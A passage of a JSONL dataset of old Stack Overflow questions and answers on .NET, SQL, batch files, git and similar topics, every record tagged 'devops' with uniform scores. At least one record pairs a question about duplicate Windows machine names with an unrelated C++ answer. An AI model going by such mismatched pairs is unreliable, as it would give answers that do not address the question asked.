\"NewValue\";\noConfig.Save(ConfigurationSaveMode.Full);\nConfigurationManager.RefreshSection(\"appSettings\");\n```\n```\nJust remember to import\n```\nSystem.Configuration\n```\ninto your project. It isn't added by default.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.274514"}
{"id": "hf_b138b9c7ff12", "question": "<p>I am using LLBL Gen Pro v2.6 and am attempting to create a means of auditing changes made to the database. Now, I know that LLBL Gen has auditing built into it using AuditorBase and dependency injection. The question I have is; I need to track not only the stuff that LLBL Gen exposes as auditable, but also the User who made the changes. From what I've seen there isn't a built in way of gathering this information. Has anyone used LLBL Gen's built in auditing and determined a way to do this?</p>\n\n<p>Wayne E. Pfeffer</p>\n", "question_body": "", "answer": "I have used LLBLGens Auditing classes. Determining the user is really something that you will have to handle. There are too many variables for LLBLGen to actually do this for you. How are your users handled? Is this a winforms or asp.net application?\nThe best solution would be to store the UserId in a session variable or static variable depending on which is more appropriate for your application. In your implementation of the Auditing class you can just pull the UserId from its storage place.\nAnother potential solution would be to override the Entity Class or the Data Adapter classes and pass the UserId in to your save methods. However, this would be a lot more work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.337263"}
{"id": "hf_e4e12f36c6e6", "question": "<p>Need to locate the following pattern:</p>\n\n<p>The letter I followed by a space then three alpha numerics followed by a space</p>\n\n<p>\"I ALN \"\n\"I H21 \"\n\"I 31M \"</p>\n\n<p>these items are also followed by a lat/lon that is trapped by this expression:</p>\n\n<p>Dim regex As New Regex(\"\\d{6} \\d{7}\")</p>\n\n<p>Can the expressions be combined to return a match that would look like:</p>\n\n<p>\"H21 ###### #######\"</p>\n\n<p>Thanks,</p>\n\n<p>Dave</p>\n", "question_body": "", "answer": "```\n```\nI ([a-zA-Z\\d]{3} \\d{6} \\d{7})\n```\n```\nMatch group 1 would contain the three alphanumerics plus the numbers you already catch with your other regex.\nEDIT: Does not work because the pattern described in the question does not reflect what the author meant in the first place. What really was meant was first clarified in the comments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.369509"}
{"id": "hf_77eeae231e27", "question": "<p>How to get the last selected item in a .Net Forms multiselect ListBox? Apparently if I select an item in the listbox and then select another 10 the selected item is the first one.</p>\n\n<p>I would like to obtain the last element that I selected/deselected.</p>\n", "question_body": "", "answer": "Not sure I understand the question, but the last selected item will be the last in the SelectedItems array, so something like this should work:\n```\n```\nListItem i = list.SelectedItems[list.SelectedItems.Length-1];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.409882"}
{"id": "hf_f17f12dbec91", "question": "<p>Excuting the line of SQL:</p>\n\n<pre><code>SELECT * \n  INTO assignment_20081120 \n  FROM assignment ;\n</code></pre>\n\n<p>against a database in oracle to back up a table called assignment gives me the following ORACLE error: \nORA-00905: Missing keyword</p>\n", "question_body": "", "answer": "Unless there is a single row in the\n```\nASSIGNMENT\n```\ntable and\n```\nASSIGNMENT_20081120\n```\nis a local PL/SQL variable of type\n```\nASSIGNMENT%ROWTYPE\n```\n, this is not what you want.\nAssuming you are trying to create a new table and copy the existing data to that new table\n```\n```\nCREATE TABLE assignment_20081120\nAS\nSELECT *\n  FROM assignment\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.448767"}
{"id": "hf_cbadef1a3236", "question": "<p>I'm writing a simple .bat file and I've run into some weird behavior.  There are a couple places where I have to do a simple if/else, but the code inside the blocks don't seem to be working correctly.</p>\n\n<p>Here's a simple case that demonstrates the error:</p>\n\n<pre><code>@echo off\n\nset MODE=FOOBAR\n\nif \"%~1\"==\"\" (\n  set MODE=all\n  echo mode: %MODE%\n) else (\n  set MODE=%~1\n  echo mode: %MODE%\n)\necho mode: %MODE%\n</code></pre>\n\n<p>The output I'm getting is:</p>\n\n<pre><code>C:\\&gt;test.bat test\nmode: FOOBAR\nmode: test\n</code></pre>\n\n<p>Why is the echo inside the code block not getting the new value of the variable?  In the actual code I'm writing I need to build a few variables and reference them within the scope of the if/else.  I could switch this to use labels and gotos instead of an if/else, but that doesn't seem nearly as clean.</p>\n\n<p>What causes this behavior?  Is there some kind of limit on variables within code blocks?</p>\n", "question_body": "", "answer": "You are running into the problem of cmd's static variable expansion. The MODE variable is only evaluated once. You can see this if you omit the @echo off line.\nFrom the set /? documentation:\nFinally, support for delayed environment variable expansion has\n  been added.  This support is always\n  disabled by default, but may be\n  enabled/disabled via the /V command\n  line switch to CMD.EXE.  See CMD /?\nDelayed environment variable expansion is useful for getting around\n  the limitations of the current\n  expansion which happens when a line of\n  text is read, not when it is executed.\n  The following example demonstrates the\n  problem with immediate variable\n  expansion:\n```\n```\nset VAR=before\n if \"%VAR%\" == \"before\" (\n     set VAR=after\n     if \"%VAR%\" == \"after\" @echo If you see this, it worked\n )\n```\n```\nwould never display the message, since\n  the %VAR% in BOTH IF statements is\n  substituted when the first IF\n  statement is read, since it logically\n  includes the body of the IF, which is\n  a compound statement.  So the IF\n  inside the compound statement is\n  really comparing \"before\" with \"after\"\n  which will never be equal.  Similarly,\n  the following example will not work as\n  expected:\n```\n```\nset LIST=\nfor %i in (*) do set LIST=%LIST% %i\necho %LIST%\n```\n```\nin that it will NOT build up a list of\n  files in the current directory, but\n  instead will just set the LIST\n  variable to the last file found.\n  Again, this is because the %LIST% is\n  expanded just once when the FOR\n  statement is read, and at that time\n  the LIST variable is empty. So the\n  actual FOR loop we are executing is:\n```\n```\nfor %i in (*) do set LIST= %i\n```\n```\nwhich just keeps setting LIST to the\n  last file found.\nDelayed environment variable expansion\n  allows you to use a different\n  character (the exclamation mark) to\n  expand environment variables at\n  execution time.  If delayed variable\n  expansion is enabled, the above\n  examples could be written as follows\n  to work as intended:\n```\n```\nset VAR=before\nif \"%VAR%\" == \"before\" (\n    set VAR=after\n    if \"!VAR!\" == \"after\" @echo If you see this, it worked\n)\n\nset LIST=\nfor %i in (*) do set LIST=!LIST! %i\necho %LIST%\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.516667"}
{"id": "hf_86095d6e8880", "question": "<p>Does anyone know of any C container libraries? I am looking for something which gives standard implementations of linked lists, arrays, hash tables etc, much in the same way as the C++ STL does. Key concerns are:</p>\n\n<ol>\n<li>Client code should be able to create containers for multiple different data types without modifying the library.</li>\n<li>The interface for creating and using the containers should be intuitive.</li>\n</ol>\n", "question_body": "", "answer": "Chuck Falconer\nhas a decent hash library written in C that includes a C++ interface, click on hashlib.zip on the webpage to download.\nBen Pfaff\nhas very nice and extremely well-documented binary and balanced tree library,\nGNU libavl\n, that implements most major tree structures including binary search trees, AVL trees, red-black trees and threaded versions of each.\nlibavl is licensed under the LGPL (as of version 2.0.3), hashlib is GPL.\nI'm not sure what you are looking for as far as arrays and linked lists go as the former is supported directly by the language and the latter is generally trivial enough to implement without warranting a library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.539943"}
{"id": "hf_84c040252137", "question": "<p>What are the advantages/disadvantages to running time based jobs using:</p>\n\n<ol>\n<li><p>windows services</p></li>\n<li><p>Application_BeginRequest to start seperate threads / timers.</p></li>\n</ol>\n\n<p>One disadvantage of running the jobs in the context of a asp.net web appplication is during .net recycling things will have to be setup again, any others?</p>\n", "question_body": "", "answer": "If you have administrative access to the server, I would either run a Windows Service or a scheduled SQL job depending on what you are trying to achieve.\nIt is nice to be able to stop/start and log these jobs independent of your web application. Also, if you have problems or errors in the job, it could adversely affect your website.\nFinally, you are forcing the web application to go through code at\nevery\nrequest to see if the timer has elapsed, which is an unnecessary overhead.\nAs I said to start with, the implementation depends on what the job is. If it is simply to update a number of database records, I'd use a scheduled job in SQL Server. If you need file I/O or access to external services, then a Windows Service might be more appropriate.\nIt is worth noting that you need to build in your own scheduling and thread safety into Windows Services. An alternative is to build a console application and use an application like\nFireDaemon\nfor the scheduling.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.586656"}
{"id": "hf_53669f46ac64", "question": "<p>I need to signal a running application (Windows service) when certain things happen in SQL Server (2005). Is there a possibility to send a message from a trigger to an external application on the same system?</p>\n", "question_body": "", "answer": "You can send an email from a trigger, but it isn't a recommended practice becasue if the email ssystem is down, no data changes can be made to the table.\nPersonally if you can live with less than realtime, I would information about the event you are interested in to another table (so the real change of data can go smoothly even if email is down for some reason.) Then I would have a job that checks that table every 5-10 minutes for any new entries and emails those out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.622980"}
{"id": "hf_eb37a1369af0", "question": "<p>My application caches some data on disk.  Because the cache may be large, it should not be stored on a network drive.  It should persist between invocations of the application.  I have a mechanism for the user to choose a location, but would like the default to be sensible and \"the right thing\" for the platform.</p>\n\n<p>What is the appropriate location for such a cache?  Is there an API for determining the appropriate location?  How do I call it from Python?</p>\n", "question_body": "", "answer": "Perhaps the\n```\ntempfile\n```\nmodule provides what you need. It uses the Windows Temp directory (which probably is not on a network drive) but you can specify a directory if you want to. Also for security reasons this module should be the right tool - if you use\n```\ntempfile.mkstemp()\n```\nthe file is readable and writable only by the creating user ID.\nOh. I see you have just edited your question and that you need file persistence between invocations of the app. Then\n```\ntempfile\n```\nis not that ideal (even though you could choose not to delete your cache between invocations).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.646920"}
{"id": "hf_e027f8d2905f", "question": "<p>I've seen this syntax a couple times now, and it's beginning to worry me,</p>\n\n<p>For example:</p>\n\n<pre><code>iCalendar iCal = new iCalendar();\nEvent evt = iCal.Create&lt;Event&gt;();\n</code></pre>\n", "question_body": "", "answer": "It's calling a generic method - so in your case, the method may be declared like this:\n```\n```\npublic T Create<T>()\n```\n```\nYou can specify the type argument in the angle brackets, just as you would for creating an instance of a generic type:\n```\n```\nList<Event> list = new List<Event>();\n```\n```\nDoes that help?\nOne difference between generic\nmethods\nand generic\ntypes\nis that the compiler can try to infer the type argument. For instance, if your\n```\nCreate\n```\nmethod were instead:\n```\n```\npublic T Copy<T>(T original)\n```\n```\nyou could just call\n```\n```\nCopy(someEvent);\n```\n```\nand the compiler would infer that you meant:\n```\n```\nCopy<Event>(someEvent);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.671046"}
{"id": "hf_5bbfa28dff2e", "question": "<p>I am working on a tool where I need to convert string values to their proper object types. E.g. convert a string like <code>\"2008-11-20T16:33:21Z\"</code> to a <code>DateTime</code> value. Numeric values like <code>\"42\"</code> and <code>\"42.42\"</code> must be converted to an <code>Int32</code> value and a <code>Double</code> value respectively. </p>\n\n<p>What is the best and most efficient approach to detect if a string is an integer or a number? Are <code>Int32.TryParse</code> or <code>Double.TryParse</code> the way to go? </p>\n", "question_body": "", "answer": "In terms of efficiency, yes, TryParse is generally the preferred route.\nIf you can know (for example, by reflection) the target type in advance - but don't want to have to use a big\n```\nswitch\n```\nblock, you might be interested in using\n```\nTypeConverter\n```\n- for example:\n```\n```\nDateTime foo = new DateTime(2008, 11, 20);\n        TypeConverter converter = TypeDescriptor.GetConverter(foo);\n        string s = converter.ConvertToInvariantString(foo);\n        object val = converter.ConvertFromInvariantString(s);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.758304"}
{"id": "hf_116926c0a09e", "question": "<p>I'm looking to add support for reading and writing video files in my application.  If you had to choose exactly one file format and codec combination that would satisfy the majority of users, which would you choose:</p>\n\n<p>1) MPEG-4/H.264 (.mp4)\n2) AVI/DiVX (.avi)\n3) Ogg/Theora (.ogg)\n4) Windows Media Video (.wmv)</p>\n\n<p>I'm leaning towards MPEG-4/H.264 given that it is supported in Linux, Mac OS X, the Flash player, iPods, Playstation 3, XBox360, and support is forthcoming in Microsoft Silverlight,and Windows Media Player 12.</p>\n\n<p>Am I missing anything?  Is there something better I could be choosing?</p>\n", "question_body": "", "answer": "It depends on what your application is doing.  If you want to process videos recorded from a video capture card, you'll probably need to be able to read .mpg files with mpeg2 embedded.  A large number of videos use the .avi or .wmv container.  Microsoft is pushing .wmv, but .avi has a lot better support amongst free tools.  Not many tools support .mp4 containers on Windows (Mac is probably different).  H.264, mpeg2, and mpeg4 are my favorite codecs.  H.264 is great quality/bitrate-wise but makes precise and fast seeks hard and is extremely CPU-intensive.  mpeg4 is almost as good as h.264 in terms of quality/bitrate, but it is much less CPU-intensive.  mpeg2 requires many more bits to achieve the same quality, but it's supported pretty much everywhere and it's really easy to decode and seek in those files.\nIf you don't mind using LGPL code, I'd suggest looking at\nffmpeg\n's libavcodec and libavformat.  It'll let you do everything you mention on all platforms (though I'm not sure about Ogg & Theora--I haven't used them).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.828443"}
{"id": "hf_85c7971e7fb1", "question": "<p>I am just getting started creating an AJAX application using server side push. I am using Grizzly Comet on Glassfish V2. Almost all the sample applications use IFrames for updating content on the client side. I want to stick to using <strong>JavaScript only</strong>. Are there any such sample applications (preferably ones that do not use a JavaScript library)?</p>\n", "question_body": "", "answer": "The point about the push is that the HTTP request never ends. Not all client implementations handle that correctly. As I see it, it's possible to do it with pure javascript in Firefox with its extensive API, but the XMLHTTPRequest object would timeout and would not be able to stream you the content.\nIFrame is good, you could also try the object tag if its about standard compliance.\nBefore XMLHTTPRequest and Ajax had no name, we used to get data from the servers through IFrames.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.851894"}
{"id": "hf_b4171198cc84", "question": "<p>I am porting some queries from Access to T-SQL and those who wrote the queries used the Avg aggregate function on datetime columns.  This is not supported in T-SQL and I can understand why - it doesn't make sense.  What is getting averaged?</p>\n\n<p>So I was about to start reverse engineering what Access does when it aggregates datetime using Avg, but thought I would throw the question out here first.</p>\n", "question_body": "", "answer": "I'd imagine that Access is averaging the numeric representation of the dates.  You could do similar in T-SQL with the following...\n```\n```\nselect AverageDate = cast(avg(cast(MyDateColumn as decimal(20, 10))) as datetime)\nfrom    MyTable\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.875473"}
{"id": "hf_0233d4f1930d", "question": "<p>I have a series of Eclipse projects containing a number of plugins and features that are checked into CVS. I now need to run an automated build of these plugins. Ideally I'd like to do it without having to hardcode large numbers of Eclipse library locations by hand, which has been the problem with the automatically generated Ant files that Eclipse provides. The build also needs to run headlessly.</p>\n\n<p>Does anyone have experience of this sort of set-up with Eclipse, and recommendations for how to achieve it?</p>\n", "question_body": "", "answer": "You could write some sort of a script that finds those libraries for you and puts them into a format understandable by Ant.\nFor example, it could build a eclipse.lirbaries.properties file, then you could read in that file using:\n```\n```\n<property file=\"eclipse.libraries.properties\" />\n```\n```\nYou could also use the FileSet attribute:\nhttp://ant.apache.org/manual/Types/fileset.html\nOr even a combination of both.\n1) Call Ant Script\n2) Ant Script calls bash (or whatever scripting language) script which builds eclipse.libraries.properties\n3) Ant loads eclipse.libraries.properties\n4) Ant goes on with the build", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.919115"}
{"id": "hf_35081b825482", "question": "<p>I was always wondering why it is a big deal having version control support inside an IDE.</p>\n<p>I always preferred to use a command-line/standalone version of the version control of choice and never found IDE integration helpful.</p>\n<p>I know it can be helpful sometimes, for example to automatically keep track of renames, but I was bitten by version control plugins a couple of times (especially the <a href=\"https://en.wikipedia.org/wiki/Rational_ClearCase\" rel=\"nofollow noreferrer\">ClearCase</a> <a href=\"https://en.wikipedia.org/wiki/Eclipse_%28software%29\" rel=\"nofollow noreferrer\">Eclipse</a> plugin) that I'm now finding it counter productive compared to the command-line version, where I have better control.</p>\n<p>What is your opinion?</p>\n", "question_body": "", "answer": "I like how\nsome\nIDE's implement this.\nAnkh-SVN\nfor Visual Studio is not that great and is a bit buggy, however\nSubeclipse\nI find to work exceedingly well when I'm using Eclipse.\nI think it really depends on the IDE you're using and the quality of that plug-in. It's going to work well for some setups and terrible for others.\nThat's why I like Subversion with Tortoise SVN so much. I can choose to use the IDE integration when and where it makes sense, otherwise, just like you said, I can simply use the command line or in my case, the windows explorer based client!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.946634"}
{"id": "hf_035c8b6fa9c2", "question": "<p>I'm working with some schema which defines an abstract complex type, eg.</p>\n\n<pre><code>&lt;xs:complexType name=\"MyComplexType\" abstract=\"true\"&gt;\n</code></pre>\n\n<p>This type is then referenced by another complex type in the schema:</p>\n\n<pre><code>&lt;xs:complexType name=\"AnotherType\"&gt;\n  &lt;xs:sequence&gt;\n    &lt;xs:element name=\"Data\" type=\"MyComplexType\" maxOccurs=\"unbounded\"/&gt;\n  &lt;/xs:sequence&gt;\n&lt;/xs:complexType&gt;\n</code></pre>\n\n<p>When I run \"xsd.exe /d /l:CS MySchema.xsd\" I get this error:</p>\n\n<blockquote>\n  <p>Error: There was an error processing MySchema.xsd'.\n    - Error generating code for DataSet ''.\n    - Unable to convert input xml file content to a DataSet. DataSet cannot instantiate an abstract ComplexType for the node Data.\n    - DataSet cannot instantiate an abstract ComplexType for the node Data.</p>\n</blockquote>\n\n<p>It doesn't seem to be invalid schema.  Has anyone else run into this issue?</p>\n\n<p>Thanks</p>\n\n<p>Nick</p>\n", "question_body": "", "answer": "I have never run into this problem, but I quickly learned that xsd.exe has a lot of shortcomings.  We started using\nCodeXS\na long time ago.  The product is a web service, but the code is available as a command-line tool.\nIt has its own warts, but the code it generates is much better and it is free. Plus, it is extensible, and adding your own plug-ins for it is actually pretty easy.\nPossibly, it won't have the same limitation?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.982018"}
{"id": "hf_9e2e0633c81f", "question": "<p>The program that I am currently assigned to has a requirement that I copy the contents of a table to a backup table, prior to the real processing.</p>\n\n<p>During code review, a coworker pointed out that</p>\n\n<pre><code>INSERT INTO BACKUP_TABLE\nSELECT *\nFROM PRIMARY_TABLE\n</code></pre>\n\n<p>is unduly risky, as it is possible for the tables to have different columns, and different column orders.</p>\n\n<p>I am also under the constraint to not create/delete/rename tables. ~Sigh~</p>\n\n<p>The columns in the table are expected to change, so simply hard-coding the column names is not really the solution I am looking for.</p>\n\n<p>I am looking for ideas on a reasonable non-risky way to get this job done.</p>\n", "question_body": "", "answer": "You could try something like:\n```\n```\nCREATE TABLE secondary_table AS SELECT * FROM primary_table;\n```\n```\nNot sure if that automatically copies data. If not:\n```\n```\nCREATE TABLE secondary_table AS SELECT * FROM primary_table LIMIT 1;\nINSERT INTO secondary_table SELECT * FROM primary_table;\n```\n```\nEdit:\nSorry, didn't read your post completely: especially the constraints part. I'm afraid I don't know how. My guess would be using a procedure that first describes both tables and compares them, before creating a lengthy insert / select query.\nStill, if you're using a backup-table, I think it's pretty important it matches the original one exactly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.005646"}
{"id": "hf_987c51eece78", "question": "<p>I am developing some school grading software and decided to use Github to host the project.  After building some code on my Ubuntu box I pushed it to Github and then cloned it down to my MacBook Pro. After editing the code on the MBP I pushed it back to Github. The next morning I tried to update my repo on the Ubuntu box with a <code>git pull</code> and it gave me all kinds of trouble.</p>\n\n<p>Whats the best way to work in this situation? I don't want to fork my own repo and I don't really want to send myself emails or pull requests. Why can't I just treat Github like a master and push/pull from it onto all of my personal repos on different computers?</p>\n", "question_body": "", "answer": "I'll assume your problem was that the machine on which you first created the repo crapped out when you tried to issue the\n```\ngit pull\n```\ncommand.\nWhen you clone an existing git repository (like you did on your 2nd machine, the MacBook Pro), you're automatically set up to so your\n```\ngit pull\n```\ncommands will automatically merge the remote with your local changes.\nHowever, when you initially create a repo and then share it on a remote repository, you have to issue a few commands to make things as automated as a on cloned repo.\n```\n```\n# GitHub gives you that instruction, you've already done that\n# git remote add origin git@github.com:user_name/repo_name.git\n\n# GitHub doesn't specify the following instructions\ngit config branch.master.remote origin\ngit config branch.master.merge refs/heads/master\n```\n```\nThese last few instructions configure git so future\n```\ngit pull\n```\n's from this repo will merge all remote changes automatically.\nThe following is a bit of shameless self-promotion. If you use Ruby, I have created a Ruby-based tool that lets you deal with all these kinds of things with git remote branches. The tool is called, unsurprisingly,\ngit_remote_branch\n:-)\nIf you don't use Ruby, my tool is probably gonna be too much of a hassle to install. What you can do is look at\nan old post on my blog\n, where most of the stuff grb can do for you was explicitly shown. Whip out your git notes file :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.029062"}
{"id": "hf_3440cf3f6259", "question": "<p>I have a project where multiple developers are using a copy of the same windows Virtual PC image (W2K3 SE SP2).  Because our solution is tied to the machine-name (less than ideal, i know) all of the developers have the same machine name.</p>\n\n<p>We use a VPN to connect to a remote system, upon connection we get the \"Windows Error: A duplicate name exists on the network\" error.</p>\n\n<p>Since all development is happening locally, we're not dependent on other machines connecting to us -- only outbound connections.</p>\n\n<p>I know it's best practice to change the machine name, but what's the reasoning behind this?  What impact would this have?</p>\n", "question_body": "", "answer": "If you are able to use a reference, you can retain the same use syntax. However, your reference has to be initialised straight away in the constructor, so your ctor absolutely must be defined out-of-line. (You will also need to free the object in the destructor too.)\n```\n```\n// bar.h\nclass foo;\n\nclass bar {\n    foo& foo_;\n\npublic:\n    bar();\n    ~bar();\n};\n\n// bar.cc\nbar::bar() : foo_(*new foo)\n{\n    // ...\n}\n\nbar::~bar()\n{\n    // ...\n    delete &foo_;\n}\n```\n```\nYour mileage may vary. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.111218"}
{"id": "hf_2c2e32e5ed68", "question": "<p>What do you think is the best way to implement an interactive grid similar to a Sudoku board for a native iPhone application?  I did not see an object to fill this need in the SDK.</p>\n\n<p>Should I make a custom control for an individual cell, then initialize as many of them as I need in a grid form?</p>\n\n<p><a href=\"https://i.stack.imgur.com/o9CSk.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/o9CSk.jpg\" alt=\"Sudoku grid\"></a><br>\n<sub>(source: <a href=\"http://www.sudoku.4thewww.com/Grids/grid.jpg\" rel=\"nofollow noreferrer\">4thewww.com</a>)</sub>  </p>\n\n<p>Any and all comments are welcome.\nThanks!</p>\n", "question_body": "", "answer": "The grid is a means of viewing contents, not of storing the representation.  Ultimately, your grid is made of cells which have contents and therefor your underlying model object is perhaps best embodied by the cell. There are a number of ways to design the underlying storage for a Sudoku game and the bigger challenge will certainly lie in the generation of puzzles. However, the advice to take from this is to not determine your model based on how it appears on screen - the view layer is totally separate and so doing something like storing the board a a two-dimensional array would be a bad idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.135077"}
{"id": "hf_7c76e18254f6", "question": "<p>For a new project I have to import the pre-existing data from MySql.</p>\n\n<p>In <a href=\"http://www.connectionstrings.com/?carrier=mysql\" rel=\"noreferrer\">this site</a> I have found many options, some including the installation of drivers. What is the fastest &amp; easiest way to do it?</p>\n\n<p>Update: this would be just a one time import</p>\n", "question_body": "", "answer": "If you have access to phpMyAdmin you could run an export of the entire database. It will generate a long list of SQL commands to create all the schema and optionally insert all the data into their respective places.\nIt is also possible to perform all this from the command line.\nIf you have a lot of data you may want to do it all in pieces, single SQL scripts for each table and the inserts into each.\nThen on the M$ SQL side just create the database, connect to it with SQL Query Analyzer or SQL Management Studio, copy-n-paste your SQL scripts into the window and execute.\nChances are a majority of your MySQL code will just work in M$SQL. If you run into issues, you can set a compatibility level on the MySQL export to fit your destination environment better.\nIf your just doing data, as long as the schema's match up, all you have to script is the data import/export, don't script the schema and CERTAINLY DON'T script drops!!!\nEDIT: if you had to do any transformations, I believe you can export to M$ Excel, certainly to a CSV, then on the M$SQL import do your mappings and such.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.205398"}
{"id": "hf_1c8c8db541b4", "question": "<p>I have a form containing a web browser control. This browser control will load some HTML from disk and display it. I want to be able to have a button in the HTML access C# code in my form. </p>\n\n<p>For example, a button in the HTML might call the Close() method on the form.</p>\n\n<p>Target platform: C# and Windows Forms (any version)</p>\n", "question_body": "", "answer": "This is possible, but I haven't done it in .NET.\nA few years back I had a C++ application that hosted a web browser control (ActiveX).  From the HTML in the control, it was possible to call 'out' to the ActiveX control and get it to do things.\nThe same should be possible in .NET, although HTML DOM/JavaScript won't know about C#.  But if you wrap your .NET functionality in a COM object, you should be able to call methods on the COM/ActiveX objects which will in-turn call your C# code.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.276008"}
{"id": "hf_34bbf87196c3", "question": "<p>I have a control, VideoControl, which displays video using DirectShow - it's set as the owner of an IVideoWindow.  I have another control, AreaControl, which is supposed to show a dashed rectangle over the video control.  AreaControl is set to be transparent using SetStyle(ControlStyles.SupportsTransparentBackColor, true).  If I place AreaControl over any other control, it works as expected, showing a dashed rectangle over the controls behind it.  But when I place the dashed rectangle control over the video control, the AreaControl is filled in with the VideoControl's BackColor.</p>\n\n<p>What do I need to do to get the video to display through the AreaControl, with the dashed rectangle overlaid on it?  Is there a way to get the VideoControl to paint itself with the video, rather than just drawing its BackColor?</p>\n", "question_body": "", "answer": "As far as I know, there is no way of doing, what you want to do directly. The problem is, the implementation of the transparent style of a control. A control with this style attribute basically just draws, what is behind it making it appear transparent. (In reality it isn't really transparent at all).\nThe only solution that comes to my mind is to use a window (Form) and put the control in that. A Form can be made transparent by setting its Opacity property to something less than 1.0. A value of 0.0 will be totally transparent (read: Invisible). The dashed border should be totally black. With a opacity of f.e. 0.4 it will appear gray.\nAlternatively, 